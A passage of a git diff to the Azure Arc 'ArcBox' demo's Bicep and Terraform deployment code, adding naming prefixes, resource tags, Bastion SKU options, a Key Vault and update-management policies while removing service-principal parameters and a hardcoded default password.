stagingStorageAccountName: stagingStorageAccountDeployment.outputs.storageAccountName + stagingStorageAccountName: toLower(stagingStorageAccountDeployment.outputs.storageAccountName) logAnalyticsWorkspace: logAnalyticsWorkspaceName templateBaseUrl: templateBaseUrl subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId - deployBastion: deployBastion azureLocation: location flavor: flavor - capiArcDataClusterName : capiArcDataClusterName + vmName : '${k3sArcDataClusterName}-Node-0${i}' + storageContainerName: toLower(k3sArcDataClusterName) + namingPrefix: namingPrefix } dependsOn: [ - updateVNetDNSServers + ubuntuRancherK3sDataSvcDeployment ] -} +}] -module ubuntuRancherDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps') { - name: 'ubuntuRancherDeployment' +module ubuntuRancherK3sDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'DevOps') { + name: 'ubuntuRancherK3sDeployment' params: { sshRSAPublicKey: sshRSAPublicKey - spnClientId: spnClientId - spnClientSecret: spnClientSecret - spnTenantId: spnTenantId - stagingStorageAccountName: stagingStorageAccountDeployment.outputs.storageAccountName + stagingStorageAccountName: toLower(stagingStorageAccountDeployment.outputs.storageAccountName) logAnalyticsWorkspace: logAnalyticsWorkspaceName templateBaseUrl: templateBaseUrl subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId - deployBastion: deployBastion azureLocation: location - vmName : k3sArcDataClusterName + vmName : k3sArcClusterName + storageContainerName: toLower(k3sArcClusterName) + flavor: flavor + namingPrefix: namingPrefix } } +module ubuntuRancherK3sNodesDeployment 'kubernetes/ubuntuRancherNodes.bicep' = [for i in range(0, k3sClusterNodesCount): if (flavor == 'DevOps') { + name: 'ubuntuRancherK3sNodesDeployment-${i}' + params: { + sshRSAPublicKey: sshRSAPublicKey + stagingStorageAccountName: toLower(stagingStorageAccountDeployment.outputs.storageAccountName) + logAnalyticsWorkspace: logAnalyticsWorkspaceName + templateBaseUrl: templateBaseUrl + subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId + azureLocation: location + flavor: flavor + vmName : '${k3sArcClusterName}-Node-0${i}' + storageContainerName: toLower(k3sArcClusterName) + namingPrefix: namingPrefix + } + dependsOn: [ + ubuntuRancherK3sDeployment + ] +}] + module clientVmDeployment 'clientVm/clientVm.bicep' = { name: 'clientVmDeployment' params: { windowsAdminUsername: windowsAdminUsername windowsAdminPassword: windowsAdminPassword - spnClientId: spnClientId - spnClientSecret: spnClientSecret - spnTenantId: spnTenantId + azdataPassword: windowsAdminPassword + tenantId: tenantId workspaceName: logAnalyticsWorkspaceName - stagingStorageAccountName: stagingStorageAccountDeployment.outputs.storageAccountName + stagingStorageAccountName: toLower(stagingStorageAccountDeployment.outputs.storageAccountName) templateBaseUrl: templateBaseUrl flavor: flavor subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId deployBastion: deployBastion + githubBranch: githubBranch githubUser: githubUser location: location - k3sArcClusterName : k3sArcDataClusterName - capiArcDataClusterName : capiArcDataClusterName + k3sArcDataClusterName : k3sArcDataClusterName + k3sArcClusterName : k3sArcClusterName aksArcClusterName : aksArcDataClusterName aksdrArcClusterName : aksDrArcDataClusterName + vmAutologon: vmAutologon + rdpPort: rdpPort + addsDomainName: addsDomainName + customLocationRPOID: customLocationRPOID + namingPrefix: namingPrefix + debugEnabled: debugEnabled + autoShutdownEnabled: autoShutdownEnabled + autoShutdownTime: autoShutdownTime + autoShutdownTimezone: autoShutdownTimezone + autoShutdownEmailRecipient: autoShutdownEmailRecipient } dependsOn: [ updateVNetDNSServers + ubuntuRancherK3sDataSvcDeployment + ubuntuRancherK3sDeployment ] } @@ -127,6 +199,7 @@ module stagingStorageAccountDeployment 'mgmt/mgmtStagingStorage.bicep' = { name: 'stagingStorageAccountDeployment' params: { location: location + namingPrefix: namingPrefix } } @@ -136,7 +209,10 @@ module mgmtArtifactsAndPolicyDeployment 'mgmt/mgmtArtifacts.bicep' = { workspaceName: logAnalyticsWorkspaceName flavor: flavor deployBastion: deployBastion + bastionSku: bastionSku location: location + resourceTags: resourceTags + namingPrefix: namingPrefix } } @@ -149,6 +225,7 @@ module addsVmDeployment 'mgmt/addsVm.bicep' = if (flavor == 'DataOps'){ deployBastion: deployBastion templateBaseUrl: templateBaseUrl azureLocation: location + namingPrefix: namingPrefix } dependsOn:[ mgmtArtifactsAndPolicyDeployment @@ -166,6 +243,7 @@ module updateVNetDNSServers 'mgmt/mgmtArtifacts.bicep' = if (flavor == 'DataOps' '10.16.2.100' '168.63.129.16' ] + namingPrefix: namingPrefix } dependsOn: [ addsVmDeployment @@ -177,11 +255,10 @@ module aksDeployment 'kubernetes/aks.bicep' = if (flavor == 'DataOps') { name: 'aksDeployment' params: { sshRSAPublicKey: sshRSAPublicKey - spnClientId: spnClientId - spnClientSecret: spnClientSecret location: location aksClusterName : aksArcDataClusterName drClusterName : aksDrArcDataClusterName + namingPrefix: namingPrefix } dependsOn: [ updateVNetDNSServers diff --git a/azure_jumpstart_arcbox/bicep/main.bicepparam b/azure_jumpstart_arcbox/bicep/main.bicepparam new file mode 100644 index 0000000000..9db53aff1a --- /dev/null +++ b/azure_jumpstart_arcbox/bicep/main.bicepparam @@ -0,0 +1,19 @@ +using 'main.bicep' + +param sshRSAPublicKey = '' + +param tenantId = '' + +param windowsAdminUsername = 'arcdemo' + +param windowsAdminPassword = '' + +param logAnalyticsWorkspaceName = '' + +param flavor = 'ITPro' + +param deployBastion = false + +param vmAutologon = true + +param resourceTags = {} // Add tags as needed diff --git a/azure_jumpstart_arcbox/bicep/main.parameters.json b/azure_jumpstart_arcbox/bicep/main.parameters.json deleted file mode 100644 index d2f6e5e7f0..0000000000 --- a/azure_jumpstart_arcbox/bicep/main.parameters.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - "contentVersion": "1.0.0.0", - "parameters": { - "sshRSAPublicKey": { - "value": "" - }, - "spnClientId": { - "value": "" - }, - "spnClientSecret": { - "value": "" - }, - "spnTenantId": { - "value": "" - }, - "windowsAdminUsername": { - "value": "arcdemo" - }, - "windowsAdminPassword": { - "value": "" - }, - "logAnalyticsWorkspaceName": { - "value": "" - }, - "flavor": { - "value": "Full" - }, - "deployBastion": { - "value": false - } - } -} diff --git a/azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep b/azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep index c1f0f1c47d..8cbe055a95 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/addsVm.bicep @@ -2,7 +2,7 @@ param addsDomainName string = 'jumpstart.local' @description('The name of your Virtual Machine') -param clientVMName string = 'ArcBox-ADDS' +param clientVMName string = '${namingPrefix}-ADDS' @description('Username for the Virtual Machine') param windowsAdminUsername string = 'arcdemo' @@ -11,7 +11,7 @@ param windowsAdminUsername string = 'arcdemo' @minLength(12) @maxLength(123) @secure() -param windowsAdminPassword string = 'ArcPassword123!!' +param windowsAdminPassword string @description('The Windows version for the VM. This will pick a fully patched image of this given Windows version') param windowsOSVersion string = '2022-datacenter-g2' @@ -28,11 +28,15 @@ param deployBastion bool = false @description('Base URL for ARM template') param templateBaseUrl string = '' +@maxLength(7) +@description('The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19') +param namingPrefix string = 'ArcBox' + var networkInterfaceName = '${clientVMName}-NIC' -var virtualNetworkName = 'ArcBox-VNet' -var dcSubnetName = 'ArcBox-DC-Subnet' +var virtualNetworkName = '${namingPrefix}-VNet' +var dcSubnetName = '${namingPrefix}-DC-Subnet' var addsPrivateIPAddress = '10.16.2.100' -var bastionName = 'ArcBox-Bastion' +var bastionName = '${namingPrefix}-Bastion' var osDiskType = 'Premium_LRS' var subnetRef = resourceId('Microsoft.Network/virtualNetworks/subnets', virtualNetworkName, dcSubnetName) var networkInterfaceRef = networkInterface.id @@ -54,7 +58,7 @@ resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { } privateIPAllocationMethod: 'Static' privateIPAddress: addsPrivateIPAddress - publicIPAddress: ((!deployBastion) ? PublicIPNoBastion : json('null')) + publicIPAddress: ((!deployBastion) ? PublicIPNoBastion : null) } } ] @@ -127,7 +131,7 @@ resource vmName_DeployADDS 'Microsoft.Compute/virtualMachines/extensions@2022-03 type: 'CustomScriptExtension' typeHandlerVersion: '1.10' autoUpgradeMinorVersion: true - settings: { + protectedSettings: { fileUris: [ uri(templateBaseUrl, 'artifacts/SetupADDS.ps1') ] diff --git a/azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep b/azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep index f7ea9cf5e7..1cd6e2664f 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/mgmtArtifacts.bicep @@ -1,27 +1,26 @@ @description('Name of the VNet') -param virtualNetworkName string = 'ArcBox-VNet' +param virtualNetworkName string = '${namingPrefix}-VNet' @description('Name of the subnet in the virtual network') -param subnetName string = 'ArcBox-Subnet' +param subnetName string = '${namingPrefix}-Subnet' @description('Name of the subnet in the virtual network') -param aksSubnetName string = 'ArcBox-AKS-Subnet' +param aksSubnetName string = '${namingPrefix}-AKS-Subnet' @description('Name of the Domain Controller subnet in the virtual network') -param dcSubnetName string = 'ArcBox-DC-Subnet' +param dcSubnetName string = '${namingPrefix}-DC-Subnet' @description('Name of the DR VNet') -param drVirtualNetworkName string = 'ArcBox-DR-VNet' +param drVirtualNetworkName string = '${namingPrefix}-DR-VNet' @description('Name of the DR subnet in the DR virtual network') -param drSubnetName string = 'ArcBox-DR-Subnet' +param drSubnetName string = '${namingPrefix}-DR-Subnet' @description('Name for your log analytics workspace') param workspaceName string @description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\'') @allowed([ - 'Full' 'ITPro' 'DevOps' 'DataOps' @@ -37,15 +36,34 @@ param sku string = 'pergb2018' @description('Choice to deploy Bastion to connect to the client VM') param deployBastion bool = false +@description('Bastion host Sku name') +@allowed([ + 'Basic' + 'Standard' + 'Developer' +]) +param bastionSku string = 'Basic' + @description('Name of the Network Security Group') -param networkSecurityGroupName string = 'ArcBox-NSG' +param networkSecurityGroupName string = '${namingPrefix}-NSG' @description('Name of the Bastion Network Security Group') -param bastionNetworkSecurityGroupName string = 'ArcBox-Bastion-NSG' +param bastionNetworkSecurityGroupName string = '${namingPrefix}-Bastion-NSG' @description('DNS Server configuration') param dnsServers array = [] +@description('Tags to assign for all ArcBox resources') +param resourceTags object = { + Solution: 'jumpstart_arcbox' +} + +@maxLength(7) +@description('The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19') +param namingPrefix string = 'ArcBox' + +var keyVaultName = toLower('${namingPrefix}${uniqueString(resourceGroup().id)}') + var security = { name: 'Security(${workspaceName})' galleryName: 'Security' @@ -59,7 +77,7 @@ var drAddressPrefix = '172.16.0.0/16' var drSubnetPrefix = '172.16.128.0/17' var bastionSubnetName = 'AzureBastionSubnet' var bastionSubnetRef = '${arcVirtualNetwork.id}/subnets/${bastionSubnetName}' -var bastionName = 'ArcBox-Bastion' +var bastionName = '${namingPrefix}-Bastion' var bastionSubnetIpPrefix = '10.16.3.64/26' var bastionPublicIpAddressName = '${bastionName}-PIP' var primarySubnet = [ @@ -75,7 +93,7 @@ var primarySubnet = [ } } ] -var bastionSubnet = [ +var bastionSubnet = bastionSku != 'Developer' ? [ { name: 'AzureBastionSubnet' properties: { @@ -85,7 +103,7 @@ var bastionSubnet = [ } } } -] +] : [] var dataOpsSubnets = [ { name: aksSubnetName @@ -114,6 +132,9 @@ var dataOpsSubnets = [ resource arcVirtualNetwork 'Microsoft.Network/virtualNetworks@2022-01-01' = { name: virtualNetworkName location: location + dependsOn: [ + policyDeployment + ] properties: { addressSpace: { addressPrefixes: [ @@ -130,6 +151,9 @@ resource arcVirtualNetwork 'Microsoft.Network/virtualNetworks@2022-01-01' = { resource drVirtualNetwork 'Microsoft.Network/virtualNetworks@2022-01-01' = if (flavor == 'DataOps') { name: drVirtualNetworkName location: location + dependsOn: [ + policyDeployment + ] properties: { addressSpace: { addressPrefixes: [ @@ -156,6 +180,9 @@ resource drVirtualNetwork 'Microsoft.Network/virtualNetworks@2022-01-01' = if (f resource virtualNetworkName_peering_to_DR_vnet 'Microsoft.Network/virtualNetworks/virtualNetworkPeerings@2022-01-01' = if (flavor == 'DataOps') { parent: arcVirtualNetwork name: 'peering-to-DR-vnet' + dependsOn: [ + policyDeployment + ] properties: { allowVirtualNetworkAccess: true allowForwardedTraffic: true @@ -170,6 +197,9 @@ resource virtualNetworkName_peering_to_DR_vnet 'Microsoft.Network/virtualNetwork resource drVirtualNetworkName_peering_to_primary_vnet 'Microsoft.Network/virtualNetworks/virtualNetworkPeerings@2022-01-01' = if (flavor == 'DataOps') { parent: drVirtualNetwork name: 'peering-to-primary-vnet' + dependsOn: [ + policyDeployment + ] properties: { allowVirtualNetworkAccess: true allowForwardedTraffic: true @@ -184,6 +214,9 @@ resource drVirtualNetworkName_peering_to_primary_vnet 'Microsoft.Network/virtual resource networkSecurityGroup 'Microsoft.Network/networkSecurityGroups@2022-01-01' = { name: networkSecurityGroupName location: location + dependsOn: [ + policyDeployment + ] properties: { securityRules: [ { @@ -297,6 +330,9 @@ resource networkSecurityGroup 'Microsoft.Network/networkSecurityGroups@2022-01-0 resource bastionNetworkSecurityGroup 'Microsoft.Network/networkSecurityGroups@2022-01-01' = if (deployBastion == true) { name: bastionNetworkSecurityGroupName location: location + dependsOn: [ + policyDeployment + ] properties: { securityRules: [ { @@ -419,9 +455,11 @@ resource bastionNetworkSecurityGroup 'Microsoft.Network/networkSecurityGroups@20 } } + resource workspace 'Microsoft.OperationalInsights/workspaces@2021-06-01' = { name: workspaceName location: location + tags: resourceTags properties: { sku: { name: sku @@ -446,6 +484,9 @@ resource securityGallery 'Microsoft.OperationsManagement/solutions@2015-11-01-pr resource publicIpAddress 'Microsoft.Network/publicIPAddresses@2022-01-01' = if (deployBastion == true) { name: bastionPublicIpAddressName location: location + dependsOn: [ + policyDeployment + ] properties: { publicIPAllocationMethod: 'Static' publicIPAddressVersion: 'IPv4' @@ -456,11 +497,20 @@ resource publicIpAddress 'Microsoft.Network/publicIPAddresses@2022-01-01' = if ( } } -resource bastionHost 'Microsoft.Network/bastionHosts@2022-01-01' = if (deployBastion == true) { +resource bastionHost 'Microsoft.Network/bastionHosts@2023-11-01' = if (deployBastion == true) { name: bastionName location: location + dependsOn: [ + policyDeployment + ] + sku: { + name: bastionSku + } properties: { - ipConfigurations: [ + virtualNetwork: bastionSku == 'Developer' ? { + id: arcVirtualNetwork.id + } : null + ipConfigurations: bastionSku != 'Developer' ? [ { name: 'IpConf' properties: { @@ -472,7 +522,7 @@ resource bastionHost 'Microsoft.Network/bastionHosts@2022-01-01' = if (deployBas } } } - ] + ] : null } } @@ -482,6 +532,20 @@ module policyDeployment './policyAzureArc.bicep' = { azureLocation: location logAnalyticsWorkspaceId: workspace.id flavor: flavor + resourceTags: resourceTags + } +} + +module keyVault 'br/public:avm/res/key-vault/vault:0.5.1' = { + name: 'keyVaultDeployment' + dependsOn: [ + policyDeployment + ] + params: { + name: toLower(keyVaultName) + enablePurgeProtection: false + enableSoftDelete: false + location: location } } diff --git a/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep b/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep index 8d32c441eb..ce08d7af91 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/mgmtStagingStorage.bicep @@ -10,10 +10,14 @@ param storageAccountType string = 'Standard_LRS' @description('Location for all resources.') param location string = resourceGroup().location -var storageAccountName = 'arcbox${uniqueString(resourceGroup().id)}' +@maxLength(7) +@description('The naming prefix for the nested virtual machines. Example: ArcBox-Win2k19') +param namingPrefix string = 'ArcBox' + +var storageAccountName = '${namingPrefix}${uniqueString(resourceGroup().id)}' resource storageAccount 'Microsoft.Storage/storageAccounts@2022-05-01' = { - name: storageAccountName + name: toLower(storageAccountName) location: location sku: { name: storageAccountType @@ -21,6 +25,8 @@ resource storageAccount 'Microsoft.Storage/storageAccounts@2022-05-01' = { kind: 'StorageV2' properties: { supportsHttpsTrafficOnly: true + isLocalUserEnabled: false + allowSharedKeyAccess: false } } diff --git a/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep b/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep index 35b3f5aa28..f63be1df56 100644 --- a/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep +++ b/azure_jumpstart_arcbox/bicep/mgmt/policyAzureArc.bicep @@ -7,6 +7,17 @@ param logAnalyticsWorkspaceId string @description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\', \'DevOps\'') param flavor string +@description('Tags to assign for all ArcBox resources') +param resourceTags object = { + Solution: 'jumpstart_arcbox' +} + +param azureUpdateManagerArcPolicyId string = '/providers/Microsoft.Authorization/policyDefinitions/bfea026e-043f-4ff4-9d1b-bf301ca7ff46' +param azureUpdateManagerAzurePolicyId string = '/providers/Microsoft.Authorization/policyDefinitions/59efceea-0c96-497e-a4a1-4eb2290dac15' +param sshPostureControlAzurePolicyId string = '/providers/Microsoft.Authorization/policyDefinitions/a8f3e6a6-dcd2-434c-b0f7-6f309ce913b4' + +param tagsRoleDefinitionId string = '/subscriptions/${subscription().subscriptionId}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c' + var policies = [ { name: '(ArcBox) Enable Azure Monitor for Hybrid VMs with AMA' @@ -29,25 +40,6 @@ var policies = [ } } } - { - name: '(ArcBox) Tag resources' - definitionId: '/providers/Microsoft.Authorization/policyDefinitions/4f9dc7db-30c1-420c-b61a-e1d640128d26' - flavors: [ - 'Full' - 'ITPro' - 'DevOps' - 'DataOps' - ] - roleDefinition: '/subscriptions/${subscription().subscriptionId}/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c' - parameters: { - tagName: { - value: 'Project' - } - tagValue: { - value: 'jumpstart_arcbox' - } - } - } { name: '(ArcBox) Enable Microsoft Defender on Kubernetes clusters' definitionId: '/providers/Microsoft.Authorization/policyDefinitions/708b60a6-d253-4fe0-9114-4be4c00f012c' @@ -67,7 +59,7 @@ resource policies_name 'Microsoft.Authorization/policyAssignments@2021-06-01' = type: 'SystemAssigned' } properties: { - policyDefinitionId: item.definitionId + policyDefinitionId: any(item.definitionId) parameters: item.parameters } }] @@ -75,7 +67,7 @@ resource policies_name 'Microsoft.Authorization/policyAssignments@2021-06-01' = resource policy_AMA_role_0 'Microsoft.Authorization/roleAssignments@2020-10-01-preview' = if (contains(policies[0].flavors, flavor)) { name: guid( policies[0].name, policies[0].roleDefinition[0],resourceGroup().id) properties: { - roleDefinitionId: policies[0].roleDefinition[0] + roleDefinitionId: any(policies[0].roleDefinition[0]) principalId: contains(policies[0].flavors, flavor)?policies_name[0].identity.principalId:guid('policies_name_id${0}') principalType: 'ServicePrincipal' } @@ -84,7 +76,7 @@ resource policy_AMA_role_0 'Microsoft.Authorization/roleAssignments@2020-10-01-p resource policy_AMA_role_1 'Microsoft.Authorization/roleAssignments@2020-10-01-preview' = if (contains(policies[0].flavors, flavor)) { name: guid( policies[0].name, policies[0].roleDefinition[1],resourceGroup().id) properties: { - roleDefinitionId: policies[0].roleDefinition[1] + roleDefinitionId: any(policies[0].roleDefinition[1]) principalId: contains(policies[0].flavors, flavor)?policies_name[0].identity.principalId:guid('policies_name_id${0}') principalType: 'ServicePrincipal' } @@ -93,27 +85,138 @@ resource policy_AMA_role_1 'Microsoft.Authorization/roleAssignments@2020-10-01-p resource policy_AMA_role_2 'Microsoft.Authorization/roleAssignments@2020-10-01-preview' = if (contains(policies[0].flavors, flavor)) { name: guid( policies[0].name, policies[0].roleDefinition[2],resourceGroup().id) properties: { - roleDefinitionId: policies[0].roleDefinition[2] + roleDefinitionId: any(policies[0].roleDefinition[2]) principalId: contains(policies[0].flavors, flavor)?policies_name[0].identity.principalId:guid('policies_name_id${0}') principalType: 'ServicePrincipal' } } -resource policy_tagging_resources 'Microsoft.Authorization/roleAssignments@2020-10-01-preview' = if (contains(policies[1].flavors, flavor)) { +resource policy_defender_kubernetes 'Microsoft.Authorization/roleAssignments@2020-10-01-preview' = if (contains(policies[1].flavors, flavor)) { name: guid( policies[1].name, policies[1].roleDefinition,resourceGroup().id) properties: { - roleDefinitionId: policies[1].roleDefinition + roleDefinitionId: any(policies[1].roleDefinition) principalId: contains(policies[1].flavors, flavor)?policies_name[1].identity.principalId:guid('policies_name_id${0}') principalType: 'ServicePrincipal' } } -resource policy_defender_kubernetes 'Microsoft.Authorization/roleAssignments@2020-10-01-preview' = if (contains(policies[2].flavors, flavor)) { - name: guid( policies[2].name, policies[2].roleDefinition,resourceGroup().id) + +resource applyCustomTags 'Microsoft.Authorization/policyAssignments@2021-06-01' = [for (tag,i) in items(resourceTags): { + name: '(ArcBox) Tag resources-${tag.key}' + location: azureLocation + identity: { + type: 'SystemAssigned' + } properties: { - roleDefinitionId: policies[2].roleDefinition - principalId: contains(policies[2].flavors, flavor)?policies_name[2].identity.principalId:guid('policies_name_id${0}') + policyDefinitionId: any('/providers/Microsoft.Authorization/policyDefinitions/4f9dc7db-30c1-420c-b61a-e1d640128d26') + parameters:{ + tagName: { + value: tag.key + } + tagValue: { + value: tag.value + } + } + } +}] + +resource policy_tagging_resources 'Microsoft.Authorization/roleAssignments@2020-10-01-preview' = [for (tag,i) in items(resourceTags): { + name: guid(applyCustomTags[i].name, tagsRoleDefinitionId,resourceGroup().id) + properties: { + roleDefinitionId: tagsRoleDefinitionId + principalId: applyCustomTags[i].identity.principalId principalType: 'ServicePrincipal' } +}] + +resource updateManagerArcPolicyLinux 'Microsoft.Authorization/policyAssignments@2024-04-01' = { + name: '(ArcBox) Enable Azure Update Manager for Linux hybrid machines' + location: azureLocation + scope: resourceGroup() + identity: { + type: 'SystemAssigned' + } + properties:{ + displayName: '(ArcBox) Enable Azure Update Manager for Arc-enabled Linux machines' + description: 'Enable Azure Update Manager for Arc-enabled machines' + policyDefinitionId: azureUpdateManagerArcPolicyId + parameters: { + osType: { + value: 'Linux' + } + } + } +} + +resource updateManagerArcPolicyWindows 'Microsoft.Authorization/policyAssignments@2024-04-01' = { + name: '(ArcBox) Enable Azure Update Manager for Windows hybrid machines' + location: azureLocation + scope: resourceGroup() + identity: { + type: 'SystemAssigned' + } + properties:{ + displayName: '(ArcBox) Enable Azure Update Manager for Arc-enabled Windows machines' + description: 'Enable Azure Update Manager for Arc-enabled machines' + policyDefinitionId: azureUpdateManagerArcPolicyId + parameters: { + osType: { + value: 'Windows' + } + } + } +} + +resource updateManagerAzurePolicyWindows 'Microsoft.Authorization/policyAssignments@2024-04-01' = { + name: '(ArcBox) Enable Azure Update Manager for Azure Windows machines' + location: azureLocation + scope: resourceGroup() + identity: { + type: 'SystemAssigned' + } + properties:{ + displayName: '(ArcBox) Enable Azure Update Manager for Azure Windows machines' + description: 'Enable Azure Update Manager for Azure machines' + policyDefinitionId: azureUpdateManagerAzurePolicyId + parameters: { + osType: { + value: 'Windows' + } + } + } } +resource updateManagerAzurePolicyLinux 'Microsoft.Authorization/policyAssignments@2024-04-01' = { + name: '(ArcBox) Enable Azure Update Manager for Azure Linux machines' + location: azureLocation + scope: resourceGroup() + identity: { + type: 'SystemAssigned' + } + properties:{ + displayName: '(ArcBox) Enable Azure Update Manager for Azure Linux machines' + description: 'Enable Azure Update Manager for Azure machines' + policyDefinitionId: azureUpdateManagerAzurePolicyId + parameters: { + osType: { + value: 'Linux' + } + } + } +} + +resource sshPostureControlAudit 'Microsoft.Authorization/policyAssignments@2024-04-01' = { + name: '(ArcBox) Enable SSH Posture Control audit' + location: azureLocation + scope: resourceGroup() + properties:{ + displayName: '(ArcBox) Enable SSH Posture Control audit' + description: 'Enable SSH Posture Control in audit mode' + policyDefinitionId: sshPostureControlAzurePolicyId + parameters: { + IncludeArcMachines: { + value: 'true' + } + } + } +} diff --git a/azure_jumpstart_arcbox/terraform/main.tf b/azure_jumpstart_arcbox/terraform/main.tf deleted file mode 100644 index 816cb44bac..0000000000 --- a/azure_jumpstart_arcbox/terraform/main.tf +++ /dev/null @@ -1,320 +0,0 @@ -# Configure the Azure provider -terraform { - required_providers { - azurerm = { - source = "hashicorp/azurerm" - version = "~> 2.65" - } - } - - required_version = ">= 0.14.9" -} - -provider "azurerm" { - features {} -} - -variable "azure_location" { - type = string - description = "Azure Location" - default = "eastus" -} - -variable "resource_group_name" { - type = string - description = "Azure Resource Group" - default = "ArcBox-RG" -} - -variable "client_vm_name" { - type = string - description = "The name of the client virtual machine." - default = "ArcBox-Client" -} - -variable "capi_vm_name" { - type = string - description = "The name of the client virtual machine." - default = "ArcBox-CAPI-MGMT" -} - -variable "rancher_vm_name" { - type = string - description = "The name of the client virtual machine." - default = "ArcBox-K3s" -} - -variable "virtual_network_name" { - type = string - description = "ArcBox vNET name." - default = "ArcBox-vNET" -} - -variable "subnet_name" { - type = string - description = "ArcBox subnet name." - default = "ArcBox-Subnet" -} - -variable "workspace_name" { - type = string - description = "Log Analytics workspace name." - default = "ArcBox-Workspace" -} - -variable "github_username" { - type = string - description = "User's github account where they have forked https://github.com/microsoft/azure-arc-jumpstart-apps" - default = "microsoft" -} - -variable "github_repo" { - type = string - description = "Specify a GitHub repo (used for testing purposes)" - default = "microsoft" -} - -variable "github_branch" { - type = string - description = "Specify a GitHub branch (used for testing purposes)" - default = "main" -} - -variable "spn_client_id" { - type = string - description = "Arc Service Principal clientID." -} - -variable "spn_client_secret" { - type = string - description = "Arc Service Principal client secret." - sensitive = true -} - -variable "spn_tenant_id" { - type = string - description = "Arc Service Principal tenantID." -} - -variable "client_admin_username" { - type = string - description = "Username for the client virtual machine." - default = "arcdemo" -} - -variable "client_admin_password" { - type = string - description = "Password for Windows admin account. Password must have 3 of the following: 1 lower case character, 1 upper case character, 1 number, and 1 special character. The value must be between 12 and 123 characters long." - default = "ArcPassword123!!" - sensitive = true -} - -variable "client_admin_ssh" { - type = string - description = "SSH Key for the Linux VM's." - sensitive = true -} - -variable "deploy_bastion" { - type = bool - description = "Choice to deploy Azure Bastion" - default = false -} - -variable "addsDomainName" { - type = string - description = "Active directory domain services domain name" - default = "jumpstart.local" -} - -### This should be swapped to a lower-case value to avoid case sensitivity ### -variable "deployment_flavor" { - type = string - description = "The flavor of ArcBox you want to deploy. Valid values are: 'Full', 'ITPro', or 'DevOps'." - default = "Full" - - validation { - condition = contains(["Full", "ITPro", "DevOps", "DataOps"], var.deployment_flavor) - error_message = "Valid options for Deployment Flavor: 'Full', 'ITPro', 'DevOps' and 'DataOps'." - } -} -############################################################################## - -locals { - template_base_url = "https://raw.githubusercontent.com/${var.github_repo}/azure_arc/${var.github_branch}/azure_jumpstart_arcbox/" - capi_arc_data_cluster_name = "ArcBox-CAPI-Data" - k3s_arc_data_cluster_name = var.rancher_vm_name - aks_arc_data_cluster_name = "ArcBox-AKS-Data" - aks_dr_arc_data_cluster_name = "ArcBox-AKS-DR-Data" -} - -resource "random_string" "guid" { - length = 4 - special = false -} - -resource "azurerm_resource_group" "rg" { - name = var.resource_group_name - location = var.azure_location -} - -module "management_storage" { - source = "./modules/mgmt/mgmtStorage" - - resource_group_name = azurerm_resource_group.rg.name - - depends_on = [azurerm_resource_group.rg] -} - -module "management_artifacts" { - source = "./modules/mgmt/mgmtArtifacts" - - resource_group_name = azurerm_resource_group.rg.name - spn_client_id = var.spn_client_id - virtual_network_name = var.virtual_network_name - subnet_name = var.subnet_name - workspace_name = var.workspace_name - deploy_bastion = var.deploy_bastion - deployment_flavor = var.deployment_flavor - depends_on = [azurerm_resource_group.rg] -} - -module "management_policy" { - source = "./modules/mgmt/mgmtPolicy" - - resource_group_name = azurerm_resource_group.rg.name - workspace_name = var.workspace_name - workspace_id = module.management_artifacts.workspace_id - deployment_flavor = var.deployment_flavor - - depends_on = [azurerm_resource_group.rg] -} - -module "client_vm" { - source = "./modules/clientVm" - - resource_group_name = azurerm_resource_group.rg.name - vm_name = var.client_vm_name - virtual_network_name = var.virtual_network_name - subnet_name = var.subnet_name - template_base_url = local.template_base_url - storage_account_name = module.management_storage.storage_account_name - workspace_name = var.workspace_name - spn_client_id = var.spn_client_id - spn_client_secret = var.spn_client_secret - spn_tenant_id = var.spn_tenant_id - deployment_flavor = var.deployment_flavor - admin_username = var.client_admin_username - admin_password = var.client_admin_password - github_username = var.github_username - github_repo = var.github_repo - github_branch = var.github_branch - deploy_bastion = var.deploy_bastion - capi_arc_data_cluster_name = "${local.capi_arc_data_cluster_name}-${random_string.guid.result}" - k3s_arc_cluster_name = "${local.k3s_arc_data_cluster_name}-${random_string.guid.result}" - aks_arc_data_cluster_name = "${local.aks_arc_data_cluster_name}-${random_string.guid.result}" - aks_dr_arc_data_cluster_name = "${local.aks_dr_arc_data_cluster_name}-${random_string.guid.result}" - - depends_on = [ - azurerm_resource_group.rg, - module.management_artifacts, - module.management_storage, - random_string.guid, - module.adds_vm - ] -} - -module "adds_vm" { - source = "./modules/mgmt/addsVM" - count = var.deployment_flavor == "DataOps" ? 1 : 0 - resource_group_name = azurerm_resource_group.rg.name - adds_Domain_Name = var.addsDomainName - deploy_bastion = var.deploy_bastion - windows_Admin_Username = var.client_admin_username - windows_Admin_password = var.client_admin_password - template_base_url = 